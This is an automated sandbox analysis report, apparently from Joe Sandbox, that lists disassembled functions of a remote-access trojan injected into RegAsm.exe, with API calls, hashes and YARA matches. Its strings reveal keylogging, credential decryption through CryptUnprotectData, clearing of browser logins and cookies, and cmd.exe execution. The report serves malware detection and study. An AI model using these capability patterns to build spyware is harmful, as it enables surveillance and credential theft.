                      • Opcode Fuzzy Hash: 4b61bdf1e4649f408c1e010907dbc1ed31b9c64e2b29a313bfb4962842f39c84
                      • Instruction Fuzzy Hash: 82117F72504118AACB18AB96EC558FE77BCEE48315B00012FF506A60E1FF7C9E46C6AC
                      Function 0040AEEE Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 65threadCOMMON
                      Download Yara Rule
                      APIs
                        • Part of subcall function 0040B164: GetLocalTime.KERNEL32(?,?,00000000), ref: 0040B172
                        • Part of subcall function 0040B164: wsprintfW.USER32 ref: 0040B1F3
                        • Part of subcall function 0041B4EF: GetLocalTime.KERNEL32(00000000), ref: 0041B509
                      • CreateThread.KERNEL32(00000000,00000000,Function_0000A267,?,00000000,00000000), ref: 0040AF6E
                      • CreateThread.KERNEL32(00000000,00000000,Function_0000A289,?,00000000,00000000), ref: 0040AF7A
                      • CreateThread.KERNEL32(00000000,00000000,0040A295,?,00000000,00000000), ref: 0040AF86
                      Strings
                      Memory Dump Source
                      • Source File: 00000008.00000002.883789126.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                      • Associated: 00000008.00000002.883789126.0000000000474000.00000040.00000400.00020000.00000000.sdmpDownload File
                      • Associated: 00000008.00000002.883789126.0000000000478000.00000040.00000400.00020000.00000000.sdmpDownload File
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_8_2_400000_RegAsm.jbxd
                      Yara matches
                      Similarity
                      • API ID: CreateThread$LocalTime$wsprintf
                      • String ID: Online Keylogger Started
                      • API String ID: 112202259-1258561607
                      • Opcode ID: 479f868247490eb8d94e44a3ac1295fc2cb218e13a7b72eda2db3aeddef0bb4d
                      • Instruction ID: a86b307176fed80e65d2d8085b20e14cf0e56bf63d45b36b749a5edd9f3e52e0
                      • Opcode Fuzzy Hash: 479f868247490eb8d94e44a3ac1295fc2cb218e13a7b72eda2db3aeddef0bb4d
                      • Instruction Fuzzy Hash: 1401C8A070031939E62076365C87D7F7A5DCA81398F40057FF645362C6D97D1C5586FB
                      Function 00406A63 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 53libraryloaderCOMMON
                      Download Yara Rule
                      APIs
                      • LoadLibraryA.KERNEL32(crypt32), ref: 00406A82
                      • GetProcAddress.KERNEL32(00000000), ref: 00406A89
                      Strings
                      Memory Dump Source
                      • Source File: 00000008.00000002.883789126.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                      • Associated: 00000008.00000002.883789126.0000000000474000.00000040.00000400.00020000.00000000.sdmpDownload File
                      • Associated: 00000008.00000002.883789126.0000000000478000.00000040.00000400.00020000.00000000.sdmpDownload File
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_8_2_400000_RegAsm.jbxd
                      Yara matches
                      Similarity
                      • API ID: AddressLibraryLoadProc
                      • String ID: CryptUnprotectData$crypt32
                      • API String ID: 2574300362-2380590389
                      • Opcode ID: 58a6a211d8528d7034b6d4e537693813dfb36b0b7d2b88ce6c125ece2ab5d6dc
                      • Instruction ID: d796ed41fc96dc9ef8d801536240fab0e9422483ab40f89d2a564a4d0f07de08
                      • Opcode Fuzzy Hash: 58a6a211d8528d7034b6d4e537693813dfb36b0b7d2b88ce6c125ece2ab5d6dc
                      • Instruction Fuzzy Hash: 6201B535B00216ABCB18DFAD9D449ABBBB8EB49300F14817EE95AE3341D674D9008BA4
                      Function 0040515C Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 46synchronizationCOMMON
                      Download Yara Rule
                      APIs
                      • WaitForSingleObject.KERNEL32(?,000003E8,?,?,?,00405159), ref: 00405173
                      • CloseHandle.KERNEL32(?), ref: 004051CA
                      • SetEvent.KERNEL32(?), ref: 004051D9
                      Strings
                      Memory Dump Source
                      • Source File: 00000008.00000002.883789126.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                      • Associated: 00000008.00000002.883789126.0000000000474000.00000040.00000400.00020000.00000000.sdmpDownload File
                      • Associated: 00000008.00000002.883789126.0000000000478000.00000040.00000400.00020000.00000000.sdmpDownload File
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_8_2_400000_RegAsm.jbxd
                      Yara matches
                      Similarity
                      • API ID: CloseEventHandleObjectSingleWait
                      • String ID: Connection Timeout
                      • API String ID: 2055531096-499159329
                      • Opcode ID: 0fd579d592e0ec80786bd468370273e6dda72da4d01b044bfcfe4f18e9b09a20
                      • Instruction ID: e4880b57ed2806ada623013920947221b56867654f576af2420d72dde76e11cf
                      • Opcode Fuzzy Hash: 0fd579d592e0ec80786bd468370273e6dda72da4d01b044bfcfe4f18e9b09a20
                      • Instruction Fuzzy Hash: 1201D831A40F40AFE7257B368D9552BBBE0FF01302704097FE68396AE2D6789800CF59
                      Function 0040E7C5 Relevance: 7.0, APIs: 1, Strings: 3, Instructions: 45COMMON
                      Download Yara Rule
                      APIs
                      • __CxxThrowException@8.LIBVCRUNTIME ref: 0040E833
                      Strings
                      Memory Dump Source
                      • Source File: 00000008.00000002.883789126.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                      • Associated: 00000008.00000002.883789126.0000000000474000.00000040.00000400.00020000.00000000.sdmpDownload File
                      • Associated: 00000008.00000002.883789126.0000000000478000.00000040.00000400.00020000.00000000.sdmpDownload File
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_8_2_400000_RegAsm.jbxd
                      Yara matches
                      Similarity
                      • API ID: Exception@8Throw
                      • String ID: ios_base::badbit set$ios_base::eofbit set$ios_base::failbit set
                      • API String ID: 2005118841-1866435925
                      • Opcode ID: 14b47bc0c01e13b5246ea87e39f47a408aa5ce0847750dcdb3cc0488a1de7433
                      • Instruction ID: aca7d9cae529c24a85643cb8f0975e7fdd15ab88b82278639a3f13e82648cb6f
                      • Opcode Fuzzy Hash: 14b47bc0c01e13b5246ea87e39f47a408aa5ce0847750dcdb3cc0488a1de7433
                      • Instruction Fuzzy Hash: 2C01B1315443086AE618F693C843FAA73585B10708F108C2FAA15761C2F67D6961C66B
                      Function 00413814 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 39registryCOMMON
                      Download Yara Rule
                      APIs
                      • RegCreateKeyW.ADVAPI32(80000001,00000000,004752D8), ref: 0041381F
                      • RegSetValueExW.ADVAPI32 ref: 0041384D
                      • RegCloseKey.ADVAPI32(004752D8), ref: 00413858
                      Strings
                      Memory Dump Source
                      • Source File: 00000008.00000002.883789126.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                      • Associated: 00000008.00000002.883789126.0000000000474000.00000040.00000400.00020000.00000000.sdmpDownload File
                      • Associated: 00000008.00000002.883789126.0000000000478000.00000040.00000400.00020000.00000000.sdmpDownload File
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_8_2_400000_RegAsm.jbxd
                      Yara matches
                      Similarity
                      • API ID: CloseCreateValue
                      • String ID: pth_unenc
                      • API String ID: 1818849710-4028850238
                      • Opcode ID: 0de8c57798d2a052ed48f9ba6d58c7c81afdedd1aa2e5c5a2a8de63742f16a74
                      • Instruction ID: 91b44a8789fefabe47d0aed0b401f4e945a8dec35bb1902c17c37083bf943f80
                      • Opcode Fuzzy Hash: 0de8c57798d2a052ed48f9ba6d58c7c81afdedd1aa2e5c5a2a8de63742f16a74
                      • Instruction Fuzzy Hash: 83F0C271440218FBDF10AFA1EC45FEE376CEF00B56F10452AF905A61A1E7359F04DA94
                      Function 0040DFA6 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 39COMMON
                      Download Yara Rule
                      APIs
                      • std::_Lockit::_Lockit.LIBCPMT ref: 0040DFB1
                      • std::_Locinfo::_Locinfo_ctor.LIBCPMT ref: 0040DFF0
                        • Part of subcall function 00435640: _Yarn.LIBCPMT ref: 0043565F
                        • Part of subcall function 00435640: _Yarn.LIBCPMT ref: 00435683
                      • __CxxThrowException@8.LIBVCRUNTIME ref: 0040E016
                      Strings
                      Memory Dump Source
                      • Source File: 00000008.00000002.883789126.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                      • Associated: 00000008.00000002.883789126.0000000000474000.00000040.00000400.00020000.00000000.sdmpDownload File
                      • Associated: 00000008.00000002.883789126.0000000000478000.00000040.00000400.00020000.00000000.sdmpDownload File
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_8_2_400000_RegAsm.jbxd
                      Yara matches
                      Similarity
                      • API ID: Yarnstd::_$Exception@8Locinfo::_Locinfo_ctorLockitLockit::_Throw
                      • String ID: bad locale name
                      • API String ID: 3628047217-1405518554
                      • Opcode ID: 86f49e18a429e1939de4d1535c8c5fe7fe9a78163a93b43351c768af92284890
                      • Instruction ID: c9d4814c50014869750c7e26a4e1a69426a580a77e14145940ab7c7d7e24a8db
                      • Opcode Fuzzy Hash: 86f49e18a429e1939de4d1535c8c5fe7fe9a78163a93b43351c768af92284890
                      • Instruction Fuzzy Hash: EAF081314006049AC634FA62D863B9AB7B89F14718F504A7FB906228D1EF7CBA1CCA4C
                      Function 10004B39 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 38COMMONLIBRARYCODE
                      Download Yara Rule
                      APIs
                      • GetModuleHandleExW.KERNEL32(00000000,mscoree.dll,00000000,?,?,?,10004AEA,?,?,10004A8A,?,10012238,0000000C,10004BBD,00000000,00000000), ref: 10004B59
                      • FreeLibrary.KERNEL32(00000000,?,?,?,10004AEA,?,?,10004A8A,?,10012238,0000000C,10004BBD,00000000,00000000,00000001,10002082), ref: 10004B8F
                      Strings
                      Memory Dump Source
                      • Source File: 00000008.00000002.884753658.0000000010001000.00000040.00001000.00020000.00000000.sdmp, Offset: 10000000, based on PE: true
                      • Associated: 00000008.00000002.884749349.0000000010000000.00000004.00001000.00020000.00000000.sdmpDownload File
                      • Associated: 00000008.00000002.884753658.0000000010016000.00000040.00001000.00020000.00000000.sdmpDownload File
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_8_2_10000000_RegAsm.jbxd
                      Similarity
                      • API ID: FreeHandleLibraryModule
                      • String ID: CorExitProcess$mscoree.dll
                      • API String ID: 662261464-1276376045
                      • Opcode ID: 497ca4813dea5db040ed96ba3988917c23aad912c76c67efd82f8c60daebc881
                      • Instruction ID: e6e2f78cdd7cd30bdf2d4d174718ae12991e9b6ae5ca6a82eaba56a43cf4d13d
                      • Opcode Fuzzy Hash: 497ca4813dea5db040ed96ba3988917c23aad912c76c67efd82f8c60daebc881
                      • Instruction Fuzzy Hash: C8F03C71900218BBEB11AB94CC48BAEBFB9EF043D1F01416AE909A6164DF309941CAA5
                      Function 00416C2D Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 33threadCOMMON
                      Download Yara Rule
                      APIs
                      • CreateThread.KERNEL32(00000000,00000000,Function_0001D45D,00000000,00000000,00000000), ref: 00416C47
                      • ShowWindow.USER32(00000009), ref: 00416C61
                      • SetForegroundWindow.USER32 ref: 00416C6D
                        • Part of subcall function 0041CD9B: AllocConsole.KERNEL32 ref: 0041CDA4
                        • Part of subcall function 0041CD9B: GetConsoleWindow.KERNEL32 ref: 0041CDAA
                        • Part of subcall function 0041CD9B: ShowWindow.USER32(00000000,00000000), ref: 0041CDBD
                        • Part of subcall function 0041CD9B: SetConsoleOutputCP.KERNEL32(000004E4), ref: 0041CDE2
                      Strings
                      Memory Dump Source
                      • Source File: 00000008.00000002.883789126.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                      • Associated: 00000008.00000002.883789126.0000000000474000.00000040.00000400.00020000.00000000.sdmpDownload File
                      • Associated: 00000008.00000002.883789126.0000000000478000.00000040.00000400.00020000.00000000.sdmpDownload File
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_8_2_400000_RegAsm.jbxd
                      Yara matches
                      Similarity
                      • API ID: Window$Console$Show$AllocCreateForegroundOutputThread
                      • String ID: !D@
                      • API String ID: 186401046-604454484
                      • Opcode ID: 9f7fe5989ead697ba6d36c86eae2c50fc2179958361be672788b949ad241deb2
                      • Instruction ID: c1d0571eb829819ca76672189d51ce116019f2d3a91c4b5ec781e9fa27a10d2f
                      • Opcode Fuzzy Hash: 9f7fe5989ead697ba6d36c86eae2c50fc2179958361be672788b949ad241deb2
                      • Instruction Fuzzy Hash: 9EF05E70158201EAD720AB62EC45AFA7B69EB54351F00483BF849D14F2DB398C85C69D
                      Function 004160EE Relevance: 7.0, APIs: 1, Strings: 3, Instructions: 27COMMON
                      Download Yara Rule
                      APIs
                      • ShellExecuteW.SHELL32(00000000,open,cmd.exe,00000000,00000000,00000000), ref: 00416130
                      Strings
                      Memory Dump Source
                      • Source File: 00000008.00000002.883789126.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                      • Associated: 00000008.00000002.883789126.0000000000474000.00000040.00000400.00020000.00000000.sdmpDownload File
                      • Associated: 00000008.00000002.883789126.0000000000478000.00000040.00000400.00020000.00000000.sdmpDownload File
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_8_2_400000_RegAsm.jbxd
                      Yara matches
                      Similarity
                      • API ID: ExecuteShell
                      • String ID: /C $cmd.exe$open
                      • API String ID: 587946157-3896048727
                      • Opcode ID: 64774f0173dd2414335a6a01ca4130183aa4f4d30cf83fc1238f67c292a9c67a
                      • Instruction ID: 0a18f3537a1213b4b5dca9b82f73c842755a7e35c30cee8a650de64661b344da
                      • Opcode Fuzzy Hash: 64774f0173dd2414335a6a01ca4130183aa4f4d30cf83fc1238f67c292a9c67a
                      • Instruction Fuzzy Hash: 0DE0C0B0208345AAC705E775CC95CBF73ADAA94749B50483F7142A20E2EF7C9D49C659
                      Function 0040B8AC Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 20threadCOMMON
                      Download Yara Rule
                      APIs
                      • TerminateThread.KERNEL32(0040A27D,00000000,004752F0,pth_unenc,0040D0B8,004752D8,004752F0,?,pth_unenc), ref: 0040B8BB
                      • UnhookWindowsHookEx.USER32 ref: 0040B8C7
                      • TerminateThread.KERNEL32(Function_0000A267,00000000,?,pth_unenc), ref: 0040B8D5
                      Strings
                      Memory Dump Source
                      • Source File: 00000008.00000002.883789126.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                      • Associated: 00000008.00000002.883789126.0000000000474000.00000040.00000400.00020000.00000000.sdmpDownload File
                      • Associated: 00000008.00000002.883789126.0000000000478000.00000040.00000400.00020000.00000000.sdmpDownload File
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_8_2_400000_RegAsm.jbxd
                      Yara matches
                      Similarity
                      • API ID: TerminateThread$HookUnhookWindows
                      • String ID: pth_unenc
                      • API String ID: 3123878439-4028850238
                      • Opcode ID: 507b53b63eb7c6f10faa5869e7b72cd95082fe0a88c6c54c261be3869f185826
                      • Instruction ID: 1c21f009177841ea8acfe7f5b61a435624369701cc7e40c150536a334dec3301
                      • Opcode Fuzzy Hash: 507b53b63eb7c6f10faa5869e7b72cd95082fe0a88c6c54c261be3869f185826
                      • Instruction Fuzzy Hash: 4AE01272205356EFD7241FA09C988267BEEDA0478A324487EF2C3626B1CA794C10CB5D
                      Function 0040140A Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 7libraryloaderCOMMON
                      Download Yara Rule
                      APIs
                      • GetModuleHandleA.KERNEL32(User32.dll,GetCursorInfo), ref: 00401414
                      • GetProcAddress.KERNEL32(00000000), ref: 0040141B
                      Strings
                      Memory Dump Source
                      • Source File: 00000008.00000002.883789126.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                      • Associated: 00000008.00000002.883789126.0000000000474000.00000040.00000400.00020000.00000000.sdmpDownload File
                      • Associated: 00000008.00000002.883789126.0000000000478000.00000040.00000400.00020000.00000000.sdmpDownload File
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_8_2_400000_RegAsm.jbxd
                      Yara matches
                      Similarity
                      • API ID: AddressHandleModuleProc
                      • String ID: GetCursorInfo$User32.dll
                      • API String ID: 1646373207-2714051624
                      • Opcode ID: 0feee19109755bbb7e48939f97e78712d63acfb534ae43d0cb60b2001d0c131e
                      • Instruction ID: 65f79b4a2c2aed896b4012a4b0ac893fb7d0ccba54e760513c8834f3bef68171
                      • Opcode Fuzzy Hash: 0feee19109755bbb7e48939f97e78712d63acfb534ae43d0cb60b2001d0c131e
                      • Instruction Fuzzy Hash: B4B09B70541740E7CB106BF45C4F9153555B514703B105476B44996151D7B44400C61E
                      Function 004014AF Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 7libraryloaderCOMMON
                      Download Yara Rule
                      APIs
                      • LoadLibraryA.KERNEL32(User32.dll), ref: 004014B9
                      • GetProcAddress.KERNEL32(00000000), ref: 004014C0
                      Strings
                      Memory Dump Source
                      • Source File: 00000008.00000002.883789126.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                      • Associated: 00000008.00000002.883789126.0000000000474000.00000040.00000400.00020000.00000000.sdmpDownload File
                      • Associated: 00000008.00000002.883789126.0000000000478000.00000040.00000400.00020000.00000000.sdmpDownload File
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_8_2_400000_RegAsm.jbxd
                      Yara matches
                      Similarity
                      • API ID: AddressLibraryLoadProc
                      • String ID: GetLastInputInfo$User32.dll
                      • API String ID: 2574300362-1519888992
                      • Opcode ID: 6185ad33e38da01c5cedd7fab51ef37947c258832bc82ab0b36b916a7b459740
                      • Instruction ID: ea73ef4d1088e939c140d9431744cb36a9dcab52d5ea7f3e4bb33043e5d41cbe
                      • Opcode Fuzzy Hash: 6185ad33e38da01c5cedd7fab51ef37947c258832bc82ab0b36b916a7b459740
                      • Instruction Fuzzy Hash: 5EB092B45C1700FBCB106FA4AC4E9293AA9A614703B1088ABB845D2162EBB884008F9F
                      Function 0044A004 Relevance: 6.3, APIs: 4, Instructions: 305COMMONLIBRARYCODE
                      Download Yara Rule
                      APIs
                      Memory Dump Source
                      • Source File: 00000008.00000002.883789126.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                      • Associated: 00000008.00000002.883789126.0000000000474000.00000040.00000400.00020000.00000000.sdmpDownload File
                      • Associated: 00000008.00000002.883789126.0000000000478000.00000040.00000400.00020000.00000000.sdmpDownload File
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_8_2_400000_RegAsm.jbxd
                      Yara matches
                      Similarity
                      • API ID: __alldvrm$_strrchr
                      • String ID:
                      • API String ID: 1036877536-0
                      • Opcode ID: 4f8832beee02cc7ac8349e43431f1a5ed1ce449240751d3aeed044ff3a2741d2
                      • Instruction ID: 0200e234d7a66e392568480c50467de0d06b46efb2a76a7ba0b74d69ca9a70f2
                      • Opcode Fuzzy Hash: 4f8832beee02cc7ac8349e43431f1a5ed1ce449240751d3aeed044ff3a2741d2
                      • Instruction Fuzzy Hash: 57A166319843869FFB21CF58C8817AEBBA1FF25304F1441AFE9859B382C27D8951C75A
                      Function 00442801 Relevance: 6.1, APIs: 4, Instructions: 133COMMON
                      Download Yara Rule
                      Memory Dump Source
                      • Source File: 00000008.00000002.883789126.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                      • Associated: 00000008.00000002.883789126.0000000000474000.00000040.00000400.00020000.00000000.sdmpDownload File
                      • Associated: 00000008.00000002.883789126.0000000000478000.00000040.00000400.00020000.00000000.sdmpDownload File
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_8_2_400000_RegAsm.jbxd
                      Yara matches
                      Similarity
                      • API ID:
                      • String ID:
                      • API String ID:
                      • Opcode ID: 8d454ba49d51131fc87e61242d4279149af29133b98be3a40794271295c3e434
                      • Instruction ID: 497cf8d2f4a88fd96e7f98feeb1d24cd381d204b534fd1f3fd6e485e43360072
                      • Opcode Fuzzy Hash: 8d454ba49d51131fc87e61242d4279149af29133b98be3a40794271295c3e434
                      • Instruction Fuzzy Hash: EA413871A00704BFF324AF79CD41B5EBBA9EB88710F10862FF105DB681E7B999418788
                      Function 100086E4 Relevance: 6.1, APIs: 4, Instructions: 110COMMON
                      Download Yara Rule
                      APIs
                      • MultiByteToWideChar.KERNEL32(00000000,00000000,00000100,00000020,00000000,00000000,5EFC4D8B,00000100,10006FFD,00000000,00000001,00000020,00000100,?,5EFC4D8B,00000000), ref: 10008731
                      • MultiByteToWideChar.KERNEL32(?,00000001,?,?,00000000,?), ref: 100087BA
                      • GetStringTypeW.KERNEL32(?,00000000,00000000,?), ref: 100087CC
                      • __freea.LIBCMT ref: 100087D5
                        • Part of subcall function 100056D0: RtlAllocateHeap.NTDLL(00000000,?,00000000), ref: 10005702
                      Memory Dump Source
                      • Source File: 00000008.00000002.884753658.0000000010001000.00000040.00001000.00020000.00000000.sdmp, Offset: 10000000, based on PE: true
                      • Associated: 00000008.00000002.884749349.0000000010000000.00000004.00001000.00020000.00000000.sdmpDownload File
                      • Associated: 00000008.00000002.884753658.0000000010016000.00000040.00001000.00020000.00000000.sdmpDownload File
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_8_2_10000000_RegAsm.jbxd
                      Similarity
                      • API ID: ByteCharMultiWide$AllocateHeapStringType__freea
                      • String ID:
                      • API String ID: 2652629310-0
                      • Opcode ID: 11ee239c82756698d200c57d0e0d3564a08309f574ce1b92975b0cd3435ea26e
                      • Instruction ID: 5b9b35b0a4db414dac5c81271493033b4f2f0f3dd9b893eeefd60fa04c8ec889
                      • Opcode Fuzzy Hash: 11ee239c82756698d200c57d0e0d3564a08309f574ce1b92975b0cd3435ea26e
                      • Instruction Fuzzy Hash: 2731AE32A0021AABEF15CF64CC85EAF7BA5EF44290F214129FC48D7158EB35DE50CBA0
                      Function 0040C00C Relevance: 6.1, APIs: 2, Strings: 2, Instructions: 103sleepCOMMON
                      Download Yara Rule
                      APIs
                      Strings
                      • [Cleared browsers logins and cookies.], xrefs: 0040C0E4
                      • Cleared browsers logins and cookies., xrefs: 0040C0F5
                      Memory Dump Source
                      • Source File: 00000008.00000002.883789126.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                      • Associated: 00000008.00000002.883789126.0000000000474000.00000040.00000400.00020000.00000000.sdmpDownload File
                      • Associated: 00000008.00000002.883789126.0000000000478000.00000040.00000400.00020000.00000000.sdmpDownload File
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_8_2_400000_RegAsm.jbxd
                      Yara matches
                      Similarity
                      • API ID: Sleep
                      • String ID: [Cleared browsers logins and cookies.]$Cleared browsers logins and cookies.
                      • API String ID: 3472027048-1236744412
                      • Opcode ID: f04c9fcfc5d51e830be94f028420677c48269f78a09cd2570410497d2b162b15
                      • Instruction ID: fac43f66edf0589ccdcbb227709f1a337e776f7542e83b73a027453bfa593f46
                      • Opcode Fuzzy Hash: f04c9fcfc5d51e830be94f028420677c48269f78a09cd2570410497d2b162b15
                      • Instruction Fuzzy Hash: 2531C804348380E9D6116BF554567AB7B814E93744F08457FB9C42B3D3D97E4848C7AF
                      Function 004194C4 Relevance: 6.1, APIs: 4, Instructions: 93COMMON
                      Download Yara Rule
                      APIs
                      • EnumDisplayMonitors.USER32(00000000,00000000,004195CF,00000000), ref: 004194F5
                      • EnumDisplayDevicesW.USER32(?), ref: 00419525
                      • EnumDisplayDevicesW.USER32(?,?,?,00000000), ref: 0041959A
                      • EnumDisplayDevicesW.USER32(00000000,00000000,?,00000000), ref: 004195B7
                      Memory Dump Source
                      • Source File: 00000008.00000002.883789126.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                      • Associated: 00000008.00000002.883789126.0000000000474000.00000040.00000400.00020000.00000000.sdmpDownload File
                      • Associated: 00000008.00000002.883789126.0000000000478000.00000040.00000400.00020000.00000000.sdmpDownload File
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_8_2_400000_RegAsm.jbxd
                      Yara matches
                      Similarity
                      • API ID: DisplayEnum$Devices$Monitors
                      • String ID:
                      • API String ID: 1432082543-0
                      • Opcode ID: 87e58e3218148989140d0ffac94925d1ebdf8dad9c36676593952cebb4287d16
                      • Instruction ID: 9f89b1fc864c89aa53311e19646eec67f909338e1adf78e73a6452d568b12732
                      • Opcode Fuzzy Hash: 87e58e3218148989140d0ffac94925d1ebdf8dad9c36676593952cebb4287d16
                      • Instruction Fuzzy Hash: 6F218072108314ABD221DF26DC49EABBBECEBD1764F00053FF459D3190EB749A49C66A
                      Function 10001CCA Relevance: 6.1, APIs: 4, Instructions: 84fileCOMMON
                      Download Yara Rule
                      APIs
                      • GetFileSize.KERNEL32(00000000,00000000,?,?,?,00000000,?,?,?,?,?,?,00000000), ref: 10001D58
                      • ReadFile.KERNEL32(00000000,00000000,00000000,?,00000000), ref: 10001D72
                      • CloseHandle.KERNEL32(00000000), ref: 10001D7D
                      Memory Dump Source
                      • Source File: 00000008.00000002.884753658.0000000010001000.00000040.00001000.00020000.00000000.sdmp, Offset: 10000000, based on PE: true
                      • Associated: 00000008.00000002.884749349.0000000010000000.00000004.00001000.00020000.00000000.sdmpDownload File
                      • Associated: 00000008.00000002.884753658.0000000010016000.00000040.00001000.00020000.00000000.sdmpDownload File
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_8_2_10000000_RegAsm.jbxd
                      Similarity
                      • API ID: File$CloseHandleReadSize
                      • String ID:
                      • API String ID: 3642004256-0
                      • Opcode ID: 95ffba8e0906de61fbf41533eef9bce15325b0b0370a179d90a4a5ca68fedbfa
                      • Instruction ID: 3114db45d92e83daf92c47a85baf70c14dd0292bf94a6379629bf72341f68b19
                      • Opcode Fuzzy Hash: 95ffba8e0906de61fbf41533eef9bce15325b0b0370a179d90a4a5ca68fedbfa
                      • Instruction Fuzzy Hash: 2221FCB594122CAFF710EBA08CCCFEF76ACEB08395F010566F515D2154D6709E458A70
                      Function 0040A529 Relevance: 6.1, APIs: 2, Strings: 2, Instructions: 71sleepCOMMON
                      Download Yara Rule
                      APIs
                        • Part of subcall function 0041C551: GetForegroundWindow.USER32 ref: 0041C561
                        • Part of subcall function 0041C551: GetWindowTextLengthW.USER32 ref: 0041C56A
                        • Part of subcall function 0041C551: GetWindowTextW.USER32 ref: 0041C594
                      • Sleep.KERNEL32(000001F4), ref: 0040A573
                      • Sleep.KERNEL32(00000064), ref: 0040A5FD
                      Strings
                      Memory Dump Source
                      • Source File: 00000008.00000002.883789126.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                      • Associated: 00000008.00000002.883789126.0000000000474000.00000040.00000400.00020000.00000000.sdmpDownload File
                      • Associated: 00000008.00000002.883789126.0000000000478000.00000040.00000400.00020000.00000000.sdmpDownload File
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_8_2_400000_RegAsm.jbxd
                      Yara matches
                      Similarity
                      • API ID: Window$SleepText$ForegroundLength
                      • String ID: [ $ ]
                      • API String ID: 3309952895-93608704
                      • Opcode ID: 31279ddc9ac779b407beafc78fb4a7c612abc736342ec11431a77cc1334fcb89
                      • Instruction ID: 97bd403738d1ca0cb59e80c1fc79ee6201ed0cb329172f4776a94889a39aca56
                      • Opcode Fuzzy Hash: 31279ddc9ac779b407beafc78fb4a7c612abc736342ec11431a77cc1334fcb89
                      • Instruction Fuzzy Hash: FE119F315043006BC614BB65CC5399F77A8AF50308F40053FF552665E2FF79AA5886DB
                      Function 0041B7FF Relevance: 6.1, APIs: 4, Instructions: 63timesleepCOMMON
                      Download Yara Rule
                      APIs
                      Memory Dump Source
                      • Source File: 00000008.00000002.883789126.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                      • Associated: 00000008.00000002.883789126.0000000000474000.00000040.00000400.00020000.00000000.sdmpDownload File
                      • Associated: 00000008.00000002.883789126.0000000000478000.00000040.00000400.00020000.00000000.sdmpDownload File
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_8_2_400000_RegAsm.jbxd
                      Yara matches
                      Similarity
                      • API ID: SystemTimes$Sleep__aulldiv
                      • String ID:
                      • API String ID: 188215759-0
                      • Opcode ID: 1460bbf00a7581670417fcbf42b3a1dfd5e2489cdc62901d12e8026d78940c5d
                      • Instruction ID: 72b4c32e7059473e424b83a6cc96647c38f9827b21069785d395d2d8421d6a64
                      • Opcode Fuzzy Hash: 1460bbf00a7581670417fcbf42b3a1dfd5e2489cdc62901d12e8026d78940c5d
                      • Instruction Fuzzy Hash: B0113D7A5083456BD304FAB5CC85DEB7BACEAC4654F040A3EF54A82051FE68EA4886A5
                      Function 00443A33 Relevance: 6.1, APIs: 4, Instructions: 63COMMON
                      Download Yara Rule
                      Memory Dump Source
                      • Source File: 00000008.00000002.883789126.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                      • Associated: 00000008.00000002.883789126.0000000000474000.00000040.00000400.00020000.00000000.sdmpDownload File
                      • Associated: 00000008.00000002.883789126.0000000000478000.00000040.00000400.00020000.00000000.sdmpDownload File
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_8_2_400000_RegAsm.jbxd
                      Yara matches
                      Similarity
                      • API ID:
                      • String ID:
                      • API String ID:
                      • Opcode ID: 26aae147e3b4032e8d822610677c8b44980169b964e3a1f9465f38b9cd56633c
                      • Instruction ID: 17f232e73e96fb976a24982deb7d35e81c220cd9520ca4ef7e8dcf180de91df6
                      • Opcode Fuzzy Hash: 26aae147e3b4032e8d822610677c8b44980169b964e3a1f9465f38b9cd56633c
